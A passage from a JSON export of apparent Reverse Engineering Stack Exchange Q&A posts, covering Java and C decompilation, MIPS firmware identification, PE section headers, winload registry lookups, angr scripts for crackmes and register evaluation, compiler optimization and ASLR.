eax,eax\n013410e8 8be5            mov     esp,ebp\n013410ea 5d              pop     ebp\n013410eb c3              ret\n0:000&gt;\n</code></pre>\n"
    },
    {
        "Id": "25664",
        "CreationDate": "2020-08-13T04:55:40.200",
        "Body": "<p>I have seen a lot of videos where everyone is decompiling the jar files so easily. but I learnt that we cannot decompile any compiled file so easily. I have a little bit of experience in Gidhra. I have analyzed some C compiled binaries. the C compiled binaries aren't that easy to decompile, I have seen it myself. but how does java decompilation works? tools just extract all source code written in it. you can take this video as an example, <a href=\"https://www.youtube.com/watch?v=3bvKLj0akMM\" rel=\"nofollow noreferrer\">Youtube IPPSEC</a>\nPlease tell me the difference between C and Java compiled files decompilation.</p>\n",
        "Title": "How do we decompile java so easy?",
        "Tags": "|binary-analysis|decompilation|c|java|",
        "Answer": "<p>In short, the difference is in the format into which Java and native code are compiled and executed. Compilation into native code formats eliminates from resulting executable a lot of information that Java code keeps by design, including, but not limited to the following list:</p>\n<ul>\n<li>Class names</li>\n<li>Method names</li>\n<li>Properties names and types</li>\n<li>Methods borders</li>\n<li>Exact exception definitions</li>\n<li>Class structure</li>\n<li>So called <a href=\"https://en.wikipedia.org/wiki/Java_bytecode_instruction_listings\" rel=\"nofollow noreferrer\">bytecode</a> code of the methods in language which is very easy to understand and decompile because it is reference-based language and contains exact signatures of other called methods by design</li>\n</ul>\n<p>The more we know about the code, the easier it is for us to understand (and decompile) it.</p>\n<p>Java code is executed in Java Virtual Machine (JVM). Native code is executed on the processor directly.</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Java_virtual_machine\" rel=\"nofollow noreferrer\">JVM</a> is executing <a href=\"https://en.wikipedia.org/wiki/JAR_(file_format)\" rel=\"nofollow noreferrer\">.jar</a> files.\n.jar files are zip archives that contain <a href=\"https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html\" rel=\"nofollow noreferrer\">.class</a> files with definitions of classes.\nThis format is defined <a href=\"https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html\" rel=\"nofollow noreferrer\">here</a> and we can find in the referenced document everything that class file contains. Most of information we know about java bytecode is lost during  the native code compilation.</p>\n<p>If you want to understand a bit more about java classes internals I'd suggest you to write some simple java class, compile it and then disassemble it with <a href=\"https://docs.oracle.com/javase/7/docs/technotes/tools/windows/javap.html\" rel=\"nofollow noreferrer\">javap</a>.</p>\n"
    },
    {
        "Id": "25679",
        "CreationDate": "2020-08-15T18:41:10.573",
        "Body": "<p>Tough problem - trying to reverse engineer a CANBUS controller for which I can download firmware (as far as I can tell, binary image, not ELF) but I dont know what MCU it uses.  <code>binwalk</code>, <code>r2</code> dont give me anything useful.   Binwalk opcodes match mipsel but function signatures is garbage.</p>\n<p>What can I do to determine MCU from firmware?</p>\n",
        "Title": "Determine firmware MCU from binary image",
        "Tags": "|firmware|",
        "Answer": "<p>It is indeed valid MIPS litte-endian code:</p>\n<pre><code>seg000:1D0121F0 A8 FF BD 27                 addiu   $sp, -0x58\nseg000:1D0121F4 04 00 A1 AF                 sw      $at, 0x58+var_54($sp)\nseg000:1D0121F8 08 00 A2 AF                 sw      $v0, 0x58+var_50($sp)\nseg000:1D0121FC 0C 00 A3 AF                 sw      $v1, 0x58+var_4C($sp)\nseg000:1D012200 10 00 A4 AF                 sw      $a0, 0x58+var_48($sp)\nseg000:1D012204 14 00 A5 AF                 sw      $a1, 0x58+var_44($sp)\nseg000:1D012208 18 00 A6 AF                 sw      $a2, 0x58+var_40($sp)\nseg000:1D01220C 1C 00 A7 AF                 sw      $a3, 0x58+var_3C($sp)\nseg000:1D012210 20 00 A8 AF                 sw      $t0, 0x58+var_38($sp)\nseg000:1D012214 24 00 A9 AF                 sw      $t1, 0x58+var_34($sp)\nseg000:1D012218 28 00 AA AF                 sw      $t2, 0x58+var_30($sp)\nseg000:1D01221C 2C 00 AB AF                 sw      $t3, 0x58+var_2C($sp)\nseg000:1D012220 30 00 AC AF                 sw      $t4, 0x58+var_28($sp)\nseg000:1D012224 34 00 AD AF                 sw      $t5, 0x58+var_24($sp)\nseg000:1D012228 38 00 AE AF                 sw      $t6, 0x58+var_20($sp)\nseg000:1D01222C 3C 00 AF AF                 sw      $t7, 0x58+var_1C($sp)\nseg000:1D012230 40 00 B8 AF                 sw      $t8, 0x58+var_18($sp)\nseg000:1D012234 44 00 B9 AF                 sw      $t9, 0x58+var_14($sp)\nseg000:1D012238 48 00 BF AF                 sw      $ra, 0x58+var_10($sp)\nseg000:1D01223C 12 40 00 00                 mflo    $t0\nseg000:1D012240 4C 00 A8 AF                 sw      $t0, 0x58+var_C($sp)\nseg000:1D012244 10 40 00 00                 mfhi    $t0\nseg000:1D012248 50 00 A8 AF                 sw      $t0, 0x58+var_8($sp)\nseg000:1D01224C 01 9D 1A 3C+                li      $k0, 0x9D012CA4\nseg000:1D01224C A4 2C 5A 27\nseg000:1D012254 00 00 00 00                 nop\nseg000:1D012258 00 68 04 40                 mfc0    $a0, Cause       # Cause of last exception\nseg000:1D01225C 00 60 05 40                 mfc0    $a1, SR          # Status register\nseg000:1D012260 09 F8 40 03                 jalr    $k0\nseg000:1D012264 00 00 00 00                 nop\n</code></pre>\n<p>I suspect the device is using something from the Microchip's <a href=\"http://download.mikroe.com/documents/compilers/mikrobasic/pic32/help/memory_organization.htm\" rel=\"nofollow noreferrer\">PIC32 series</a>.</p>\n"
    },
    {
        "Id": "25723",
        "CreationDate": "2020-08-22T16:37:58.947",
        "Body": "<p>I read pe program using a Pe Reader to view all sections, the .text section starts is &quot;<code>0x0001000</code>&quot;:</p>\n<p>What is in the pe program reader:</p>\n<p><a href=\"https://i.stack.imgur.com/YzREQ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/YzREQ.png\" alt=\"PE READER PROGRAM\" /></a></p>\n<p>And is this what i see on the debugguer :</p>\n<p><a href=\"https://i.stack.imgur.com/J3Hz3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/J3Hz3.png\" alt=\"DEBUGGER\" /></a></p>\n",
        "Title": "what means \"ilegal use of registers\"?",
        "Tags": "|assembly|ollydbg|disassemblers|decompile|immunity-debugger|",
        "Answer": "<p>As you can see <a href=\"https://c9x.me/x86/html/file_module_x86_id_147.html\" rel=\"nofollow noreferrer\">here</a>, <code>0xFF</code> is a \u201cjump far indirect\u201d opcode and this version of jump requires operand to be a memory address.</p>\n<p>While using this type of jump, you cannot use register as an operand and hence the error message you see.</p>\n<p>And I don\u2019t think the snippet you provided contains the actual code - it rather looks like data, though OllyDbg still tries to disassemble it.</p>\n<p>You will find the code at offset <code>0x1000</code> relative to the image base which will likely be <code>0x400000</code> in case of exe and <code>0x10000000</code> in case of dll.</p>\n"
    },
    {
        "Id": "25728",
        "CreationDate": "2020-08-23T18:13:25.740",
        "Body": "<p>I have a basic understanding of assembly language and I'm unable to perfectly define the algorithm of winload!CmpFindNlsData looking at the disassembly. Basically I need to understand how NLS data is loaded when Windows boots up. I have been able to figure out the algorithm to this point.</p>\n<pre><code>CmpFindNlsData\n{\nHvpGetCellPaged();\npush offset winload!CmpControlString\nCmpFindSubkeyByNameWithStatus();\nHvpReleaseCellPaged();\n\nHvpGetCellPaged();\noffset winload!CmpNlsString\nCmpFindSubkeyByNameWithStatus();\nHvpReleaseCellPaged();\n\nHvpGetCellPaged();\noffset winload!CmpCodePageString\nCmpFindSubkeyByNameWithStatus();\nHvpReleaseCellPaged();\n\nHvpGetCellPaged();\noffset winload!CmpAcpString\nCmpFindValueByName();\nHvpReleaseCellPaged();\n\nHvpGetCellPaged();\noffset winload!CmpOemCpString\nCmpFindValueByName();\nHvpReleaseCellPaged();\n\nHvpGetCellPaged();\nCmpValueToData();\nHvpReleaseCellPaged();\n\nHvpGetCellPaged();\nCmpFindValueByName();\nHvpReleaseCellPaged();\n\nHvpGetCellPaged();\nCmpValueToData();\nHvpReleaseCellPaged();\n\nHvpGetCellPaged();\nCmpFindValueByName();\nHvpReleaseCellPaged();\n\nHvpGetCellPaged();\nCmpValueToData();\nHvpReleaseCellPaged();\n\nHvpGetCellPaged();\nCmpFindValueByName();\nHvpReleaseCellPaged();\n\nHvpGetCellPaged();\nCmpValueToData();\nHvpReleaseCellPaged();\n}\n</code></pre>\n",
        "Title": "Trying to reverse engineer CmpFindNlsData of winload",
        "Tags": "|disassembly|windows|assembly|windbg|",
        "Answer": "<p>As i Commented the query is vague\nanyway just took a look and it doesn't seem to be overly complicated</p>\n<p>all this function seem to do is retrieve a few key values from registry</p>\n<p>basically it runs a loop like</p>\n<p>while (string) {\nCreate An Unicode string\nopen regkey-&gt;onfail return false\nget regvalue-&gt;onfail return false\ngot to next string\n}\nreturn true</p>\n<p>these are the strings it accesses in win7 x86</p>\n<pre><code>C:\\&gt;cdb -c &quot;uf winload!CmpFindNlsData;q&quot; -z c:\\Windows\\System32\\winload.exe | grep -B 2 RtlInitUnicode\n0046511c b8405c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465c40)\n00465121 8d4df0          lea     ecx,[ebp-10h]\n00465124 e88d28fcff      call    winload!RtlInitUnicodeString (004279b6)\n--\n00465144 b8b05c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465cb0)\n00465149 8d4df0          lea     ecx,[ebp-10h]\n0046514c e86528fcff      call    winload!RtlInitUnicodeString (004279b6)\n--\n0046516f b8c05c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465cc0)\n00465174 8d4df0          lea     ecx,[ebp-10h]\n00465177 e83a28fcff      call    winload!RtlInitUnicodeString (004279b6)\n--\n0046519e b8e05c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465ce0)\n004651a3 8d4df0          lea     ecx,[ebp-10h]\n004651a6 e80b28fcff      call    winload!RtlInitUnicodeString (004279b6)\n--\n0046526a b8f05c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465cf0)\n0046526f 8d4df0          lea     ecx,[ebp-10h]\n00465272 e83f27fcff      call    winload!RtlInitUnicodeString (004279b6)\n--\n00465339 b8005d4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465d00)\n0046533e 8d4df0          lea     ecx,[ebp-10h]\n00465341 e87026fcff      call    winload!RtlInitUnicodeString (004279b6)\n--\n0046536b b8205d4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465d20)\n00465370 8d4df0          lea     ecx,[ebp-10h]\n00465373 e83e26fcff      call    winload!RtlInitUnicodeString (004279b6)\n--\n00465438 b8305d4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465d30)\n0046543d 8d4df0          lea     ecx,[ebp-10h]\n00465440 e87125fcff      call    winload!RtlInitUnicodeString (004279b6)\n\nC:\\&gt;cdb -c &quot;uf winload!CmpFindNlsData;q&quot; -z c:\\Windows\\System32\\winload.exe | grep -B 2 RtlInitUnicode | grep PBO\n0046511c b8405c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465c40)\n00465144 b8b05c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465cb0)\n0046516f b8c05c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465cc0)\n0046519e b8e05c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465ce0)\n0046526a b8f05c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465cf0)\n00465339 b8005d4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465d00)\n0046536b b8205d4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465d20)\n00465438 b8305d4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465d30)\n\n\nC:\\&gt;cdb -c &quot;du 465c40;du 465cb0;du 465cc0;du 465ce0;du 465cf0;du 465d00;du 465d20;du 465d30;q&quot; -z c:\\Windows\\System32\\winload.exe | awk &quot;/Reading/,/quit/&quot;\n0:000&gt; cdb: Reading initial command 'du 465c40;du 465cb0;du 465cc0;du 465ce0;du 465cf0;du 465d00;du 465d20;du 465d30;q'\n00465c40  &quot;Control&quot;\n00465cb0  &quot;NLS&quot;\n00465cc0  &quot;CodePage&quot;\n00465ce0  &quot;ACP&quot;\n00465cf0  &quot;OEMCP&quot;\n00465d00  &quot;Language&quot;\n00465d20  &quot;Default&quot;\n00465d30  &quot;OEMHAL&quot;\nquit:\n</code></pre>\n<p>and these keys exist in hklm\\system\\currentcontrolset</p>\n<pre><code>C:\\&gt;reg query hklm\\system\\currentcontrolset\\control\\nls\\codepage /v *cp*\n\nHKEY_LOCAL_MACHINE\\system\\currentcontrolset\\control\\nls\\codepage\n    ACP    REG_SZ    1252\n    OEMCP    REG_SZ    437\n    MACCP    REG_SZ    10000\n\nEnd of search: 3 match(es) found.\n</code></pre>\n<p>after finding these it returns the c_1252.nls, etc filenames in the respective out parameters</p>\n"
    },
    {
        "Id": "25732",
        "CreationDate": "2020-08-24T14:57:45.750",
        "Body": "<p>I decompiled a pyc file with uncompyle6, and this is the result:</p>\n<pre><code># uncompyle6 version 3.7.3\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Aug 24 2020, 10:24:35) \n# [GCC 9.3.0]\n# Embedded file name: /dev/null/dev/null/dev/null/dev/null/crackme.py\n# Compiled at: 2020-06-30 20:00:00\n# Size of source mod 2**32: 545 bytes\nimport base64\nfrom zlib import decompress as \u1964\nif __name__ == '__main__':\n    input_ = input('Enter your password: ')\n    password = base64.b64encode(input_.encode())\n    \u00de\u00e5\u00e7\u0461\u04e7\u0491\u0434 = (b'x\\xde\\xad\\xbe\\xef^\\x0b\\xf6\\xf5\\r\\nv\\xf6\\xf0\\xa9\\x0e\\xa8,\\xc90\\xc8\\x8bO\\x8a,1\\x8eO6H1\\x8e7,\\xf6+\\x89/6N.-J\\xad\\x05\\x00\\xfc\\xe3\\rh').replace(b'\\xde\\xad\\xbe\\xef', b'')\n    if base64.b64decode(password) == \u1964(\u00de\u00e5\u00e7\u0461\u04e7\u0491\u0434):\n        print('The flag is', input_)\n    else:\n        print('Incorrect flag! Try reading my code\u2026')\n# okay decompiling /home/kali/jscu/reversing1/crackme.pyc\n</code></pre>\n<p>Clearly, the second password variable is gibberish, and I can't make much of the contents of that variable either. What could I try to make sense of this?</p>\n",
        "Title": "Python decompilation seems to return gibberish (partly)",
        "Tags": "|python|",
        "Answer": "<p>It\u2019s not gibberish, the code is simply using non-ASCII variable names which is <a href=\"https://docs.python.org/3/reference/lexical_analysis.html#identifiers\" rel=\"nofollow noreferrer\">perfectly fine in Python</a>.</p>\n"
    },
    {
        "Id": "25738",
        "CreationDate": "2020-08-24T23:08:18.483",
        "Body": "<p>I'm new to reverse engineering and I've just recently learned about <code>angr</code>, a framework that uses symbolic execution to get the input for a given output. I'm trying to complete a <a href=\"https://crackmes.one/crackme/5e0fa43b33c5d419aa01351e\" rel=\"nofollow noreferrer\">crackme</a> using <code>angr</code>. My code so far is:</p>\n<pre><code>import angr\nimport claripy\n\nstrlen = 10\nbase_addr = 0x00000000\n\nflag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(strlen)]\nflag = claripy.Concat(*flag_chars)\n\nproj = angr.Project(&quot;./d4rkfl0w-Crackme-4&quot;, main_opts={'base_addr': base_addr})\nstate = proj.factory.full_init_state(args=[&quot;./d4rkfl0w-Crackme-4&quot;], add_options=angr.options.unicorn, stdin=flag)\nstate.memory.store(state.regs.rbp-0x8, flag)\n\nfor k in flag_chars:\n    state.solver.add(k &gt; 0x20)\n    state.solver.add(k &lt; 0x7e)\n\nsm = proj.factory.simulation_manager(state)\nsm.run()\n\nfor de in sm.deadended:\n    print(de.posix.dumps(0), de.posix.dumps(1))\n</code></pre>\n<p>The output is:</p>\n<pre><code>&gt; python3 test.py \nWARNING | 2020-08-24 18:55:24,821 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.\nWARNING | 2020-08-24 18:55:24,822 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:\nWARNING | 2020-08-24 18:55:24,822 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state\nWARNING | 2020-08-24 18:55:24,823 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null\nWARNING | 2020-08-24 18:55:24,823 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.\nWARNING | 2020-08-24 18:55:24,823 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffefff8 with 64 unconstrained bytes referenced from 0x38e0d0 (strlen+0x0 in libc.so.6 (0x8e0d0))\nb'((0$0(0(0(' b'\\nPlease enter the password: \\nSorry that is incorrect.\\n'\nb'0(0$0(:(((' b'\\nPlease enter the password: \\nSorry that is incorrect.\\n'\nb'U($&gt;&quot;(:($(' b'\\nPlease enter the password: \\nSorry that is incorrect.\\n'\nb'U(6&gt;$(:(0(' b'\\nPlease enter the password: \\nSorry that is incorrect.\\n'\nb'U(6&gt;-(:($(' b'\\nPlease enter the password: \\nSorry that is incorrect.\\n'\nb'U(6$-(:(Y(' b'\\nPlease enter the password: \\nSorry that is incorrect.\\n'\n</code></pre>\n<p>This should be a relatively easy crackme (I had solved it with static analysis already and I want to get the flag a different way). Am I doing something wrong in the code?</p>\n<p>The actual flag should be:</p>\n<blockquote class=\"spoiler\">\n<p> U6-:YL.&quot;+</p>\n</blockquote>\n",
        "Title": "Basic `angr` framework question- is something wrong with my solver?",
        "Tags": "|crackme|angr|",
        "Answer": "<p>Looking at your solution, and your spoiler of the intended flag, it looks like you are halfway there (literally).</p>\n<p>angr is solving every other character and matching half of the flag, as if the flag is being treaded as a wide character string/utf16.  I modified your script slightly to have a 20 character string, with every other byte null, ending in a newline, and angr successfully found the flag.</p>\n<p>There are lots of other ways to do this with Angr, but this seemed close to how you were originally using it.</p>\n<p>Modified Angr script:</p>\n<pre><code>import angr\nimport claripy\n\nstrlen = 20\nbase_addr = 0x00000000\n\nflag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(strlen)]\nflag = claripy.Concat(*flag_chars)\n\nproj = angr.Project(&quot;./d4rkfl0w-Crackme-4&quot;, main_opts={'base_addr': base_addr})\nstate = proj.factory.full_init_state(args=[&quot;./d4rkfl0w-Crackme-4&quot;], add_options=angr.options.unicorn, stdin=flag)\n# The script functions the same with or without this\n# Presumably symbolic stdin handles storing the flag \n# in memory for us\n# state.memory.store(state.regs.rbp-0x8, flag)\n\n# It seems like the program is reading in widechars/utf16\n# this code will constrain every other byte to be printable, \n# with zero bytes in between\nzero_char = False\nfor k in flag_chars[:-2]:\n    if not zero_char:\n        state.solver.add(k &gt; 0x20)\n        state.solver.add(k &lt; 0x7e)\n    else:\n        state.solver.add(k == 0x0)\n    zero_char = not zero_char\n\n# Flag ends in widechar newline (not strictly needed)\nstate.solver.add(flag_chars[-2] == 0xa)\nstate.solver.add(flag_chars[-1] == 0x00)\n\nsm = proj.factory.simulation_manager(state)\nsm.run()\n\nfor de in sm.deadended:\n    print(de.posix.dumps(0), de.posix.dumps(1))\n    print(&quot;UTF16 flag: %s&quot; % str(de.posix.dumps(0), encoding='utf=16'))\n~                                                                        \n</code></pre>\n<p>Truncated Output:</p>\n<blockquote class=\"spoiler\">\n<p>    b'U\\x006\\x00-\\x00:\\x00Y\\x00L\\x00.\\x00!\\x00+\\x00\\n\\x00' b'\\nPlease enter the password: \\nSorry that is incorrect.\\n'\n    UTF16 flag: U6-:YL.!+<br />\n    b'U\\x006\\x00-\\x00:\\x00Y\\x00L\\x00.\\x00&quot;\\x00+\\x00\\n\\x00' b&quot;\\nPlease enter the password: \\nThat's CORRECT, Well Done.\\n&quot;\n     UTF16 flag: U6-:YL.&quot;+</p>\n</blockquote>\n"
    },
    {
        "Id": "25745",
        "CreationDate": "2020-08-25T19:23:00.337",
        "Body": "<p>I'm currently using radare2 in order to construct a simple CFG, each block/node in that graph is composed of one or more assembly instructions, I wish to estimate the value of specific register or stack position as best as I can.</p>\n<p>Few examples:</p>\n<p><strong>Example 1:</strong></p>\n<pre><code>xor rax, rax\ninc rax\n; Given these instructions, solve(rax) =&gt; 1\n</code></pre>\n<p><strong>Example 2:</strong></p>\n<pre><code>mov rcx, 3\nmov rbx, rcx\nmov rax, rbx\n; Given the instructions above, solve(rax) =&gt; 3\n</code></pre>\n<p><strong>Example 3:</strong></p>\n<pre><code>mov rbx, rcx\nmov rax, rbx\n; Given the instructions above, solve(rax) =&gt; Unknown\n</code></pre>\n<p><strong>Example 4:</strong></p>\n<pre><code>mov rdx, 1\nshl rdx, 2\nadd rdx, 3\nmov [rsp], rdx\n; Given the instructions above, solve([rsp]) =&gt; 7\n</code></pre>\n<p>I'm looking for a simple Python example to start with, which either takes opcodes directly or and address and evaluates/solve for specific register/stack position.</p>\n<p>I've already looked into some symbolic execution examples, which looks like what I need, but I'm pretty new to this so a simple working example would really help.</p>\n",
        "Title": "Using angr/radare2 to estimate values given chunks of assembly",
        "Tags": "|radare2|python|angr|",
        "Answer": "<p>Here is a small angr script that can do so:</p>\n<pre><code>proj = angr.Project('...path...')\nstate = proj.factory.blank_state(addr=0x0804EA9E)\nsimulation = proj.factory.simgr(state)\nret = simulation.explore(find=0x0804EAA3)\nprint(ret.found[0].regs.ecx)\n</code></pre>\n<p>Between the addresses <code>0x0804EA9E</code> to <code>0x0804EAA3</code> I've got <code>mov ecx, 0Ah</code> so I get: <code>&lt;BV32 0xa&gt;</code> from the print.</p>\n<p>I know its not much, but as I've said, I'm new. And hopefully this simple script will help others.</p>\n<p>Really good resources to start with:</p>\n<ul>\n<li><a href=\"https://docs.angr.io/core-concepts/states#state-presets\" rel=\"nofollow noreferrer\">https://docs.angr.io/core-concepts/states#state-presets</a></li>\n<li><a href=\"https://blog.notso.pro/2019-03-20-angr-introduction-part0/\" rel=\"nofollow noreferrer\">https://blog.notso.pro/2019-03-20-angr-introduction-part0/</a></li>\n</ul>\n"
    },
    {
        "Id": "25749",
        "CreationDate": "2020-08-26T09:43:36.093",
        "Body": "<p>I'm reverse engineering a C++ binary using IDA, and there's one function that I don't quite understand.</p>\n<pre><code>x = dword ptr -8\nvar_4 = dword ptr -4\n\npush    rbp\nmovss   rbp, rsp\nsub     rsp, 10h\nmovss   [rbp+var_4], xmm0\nmov     eax, [rbp+var_4]\nmov     [rbp+x], eax\nmovss   xmm0, [rbp+x]\ncall    _sinf\nleave\nretn \n</code></pre>\n<p>The eax register is overwritten right away, and I can't imagine that eax was loaded to pass as an argument to &quot;sinf&quot;. What's the use of this? Or is it just a weird compiler optimization?</p>\n",
        "Title": "What is the use of moving a variable 3 times only to pass it back to the original register, with no calculations in between?",
        "Tags": "|ida|gcc|",
        "Answer": "<p>It looks like that the binary has been compiled without optimization. With optimization enabled the redundant instructions would have been removed. A similar example is shown below.</p>\n<p>Compiler:  <a href=\"https://godbolt.org/z/Ye9WK9\" rel=\"nofollow noreferrer\">GCC 7.5 for x86-64 on Compiler Explorer</a></p>\n<h3>Original code</h3>\n<pre><code>#include &lt;math.h&gt;\n\nfloat calculate(float v)\n{\n    return sinf(v);\n}\n</code></pre>\n<h3>No optimization (-O0)</h3>\n<pre><code>calculate(float):\n        push    rbp\n        mov     rbp, rsp\n        sub     rsp, 16\n        movss   DWORD PTR [rbp-4], xmm0\n        mov     eax, DWORD PTR [rbp-4]\n        mov     DWORD PTR [rbp-8], eax\n        movss   xmm0, DWORD PTR [rbp-8]\n        call    sinf\n        leave\n        ret\n</code></pre>\n<h3>-O1</h3>\n<pre><code>calculate(float):\n        sub     rsp, 8\n        call    sinf\n        add     rsp, 8\n        ret\n</code></pre>\n<h3>-O2/-O3</h3>\n<pre><code>calculate(float):\n        jmp     sinf\n</code></pre>\n<p>As you can see above, the redundant moves are generated only when optimizations aren't enabled. With higher levels, it progressively leads to smaller code.</p>\n"
    },
    {
        "Id": "25752",
        "CreationDate": "2020-08-26T13:16:49.060",
        "Body": "<p>What is physical address on a Pe file? I had search on the microsoft website article about pe files and don't have found anything.</p>\n<p><a href=\"https://i.stack.imgur.com/3QcXS.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3QcXS.png\" alt=\"Pe Reader\" /></a></p>\n",
        "Title": "What is physical address on a pe reader?",
        "Tags": "|disassembly|windows|assembly|ollydbg|pe|",
        "Answer": "<p>As i Commented it seems the tool You used is misusing a Name<br />\nThe <strong><a href=\"https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_section_header\" rel=\"nofollow noreferrer\">Section Header is Documented</a></strong> Thus</p>\n<p>As Can be Seen The Second Member of the Structure is an Union Misc</p>\n<pre><code>union {\n    DWORD PhysicalAddress;\n    DWORD VirtualSize;\n  } Misc;\n</code></pre>\n<p>So Your tool Should probably be using it as Misc.PhysicalAddress<br />\nor it should simply use it as\nVirtualSize as PhysicalAddress is not relevent to usermode Executables ( it used to be used in obj files )</p>\n<p>ollydbg section display</p>\n<pre><code>013001F0    2E 74 65 78&gt;ASCII &quot;.text&quot;        ; SECTION\n013001F8    8C6D0100    DD 00016D8C          ;  VirtualSize = 16D8C (93580.)\n013001FC    00100000    DD 00001000          ;  VirtualAddress = 1000\n01300200    006E0100    DD 00016E00          ;  SizeOfRawData = 16E00 (93696.)\n01300204    00040000    DD 00000400          ;  PointerToRawData = 400\n01300208    00000000    DD 00000000          ;  PointerToRelocations = 0\n0130020C    00000000    DD 00000000          ;  PointerToLineNumbers = 0\n01300210    0000        DW 0000              ;  NumberOfRelocations = 0\n01300212    0000        DW 0000              ;  NumberOfLineNumbers = 0\n01300214    20000060    DD 60000020          ;  Characteristics = CODE|EXECUTE|READ\n</code></pre>\n<p>windbg section Display</p>\n<pre><code>SECTION HEADER #1\n   .text name\n   16D8C virtual size\n    1000 virtual address\n   16E00 size of raw data\n     400 file pointer to raw data\n       0 file pointer to relocation table\n       0 file pointer to line numbers\n       0 number of relocations\n       0 number of line numbers\n60000020 flags\n         Code\n         (no align specified)\n         Execute Read\n</code></pre>\n<p>Dumpbin or visualStudio Linker Display of Section</p>\n<pre><code>:\\&gt;dumpbin /section:.text cdb.exe\nMicrosoft (R) COFF/PE Dumper Version 14.16.27035.0\nCopyright (C) Microsoft Corporation.  All rights reserved.\n\n\nDump of file cdb.exe\n\nFile Type: EXECUTABLE IMAGE\n\nSECTION HEADER #1\n   .text name\n   16D8C virtual size\n    1000 virtual address (00401000 to 00417D8B)\n   16E00 size of raw data\n     400 file pointer to raw data (00000400 to 000171FF)\n       0 file pointer to relocation table\n       0 file pointer to line numbers\n       0 number of relocations\n       0 number of line numbers\n60000020 flags\n         Code\n         Execute Read\n\n  Summary\n\n       17000 .text\n</code></pre>\n<p>this field's usage according to Matt Pietrek peering inside pe article <a href=\"https://bytepointer.com/resources/pietrek_peering_inside_pe.htm\" rel=\"nofollow noreferrer\">copy</a><br />\n(microsoft simply dumped all contents into some gutter and only promotes windows 10 so i couldn't locate the original of msdn magazines)</p>\n<pre><code>union {  \n\n    DWORD   PhysicalAddress  \n\n    DWORD   VirtualSize  \n\n} Misc;  \n\nThis field has different meanings, in EXEs or OBJs. In an EXE, \nit   holds the actual size of the code or data. This is the size \nbefore   rounding up to the nearest file alignment multiple. The   \nSizeOfRawData field (seems a bit of a misnomer) later on in the   \nstructure holds the rounded up value. The Borland linker reverses   \nthe meaning of these two fields and appears to be correct. For OBJ   \nfiles, this field indicates the physical address of the section. The      \nfirst section starts at address 0. To find the physical address in   \nan OBJ file of the next section, add the SizeOfRawData value to the   \nphysical address of the current section.  \n</code></pre>\n"
    },
    {
        "Id": "25755",
        "CreationDate": "2020-08-27T01:20:05.850",
        "Body": "<p>So I'm trying to understand how a process is assigned a base address once its loaded into memory. If I understand correctly each process has its own virtual address space, and each virtual address is mapped to physical memory locations by the mmu and each process believes they have the virtual range 0x00000000 through 0x7FFFFFFF for themselves in the x86 architechture.</p>\n<p>Lets say I have program 1 .exe that is loaded at the virtual address 0x121000\n<a href=\"https://i.stack.imgur.com/ohJzC.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ohJzC.png\" alt=\"enter image description here\" /></a></p>\n<p>and lets say I have another program called program 2.exe that is loaded in the virtual address 0xF71000</p>\n<p><a href=\"https://i.stack.imgur.com/qraK6.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qraK6.png\" alt=\"enter image description here\" /></a></p>\n<p>If both programs have their own virtual address space why aren't they loaded at the same virtual address by default? and is it possible for the programs to load at a different virtual address if they are executed again or will program 1.exe always be loaded at address 0x121000 every time its executed?</p>\n",
        "Title": "How are processes assigned a virtual base address",
        "Tags": "|windows|virtual-memory|",
        "Answer": "<p>I believe what makes the difference is <code>ASLR - Adress Space Layout Randomization</code> - <a href=\"https://en.wikipedia.org/wiki/Address_space_layout_randomization\" rel=\"nofollow noreferrer\">Read about it here</a> - so basically it's just a layer of security protection.</p>\n<p>It's indeed possible to load two different processes to the same virtual address base - the virtual address abstraction makes it possible.</p>\n<p>The loading base address of a process will most likely be kept the same until your next reboot.</p>\n"
    },
    {
        "Id": "25756",
        "CreationDate": "2020-08-27T02:27:23.180",
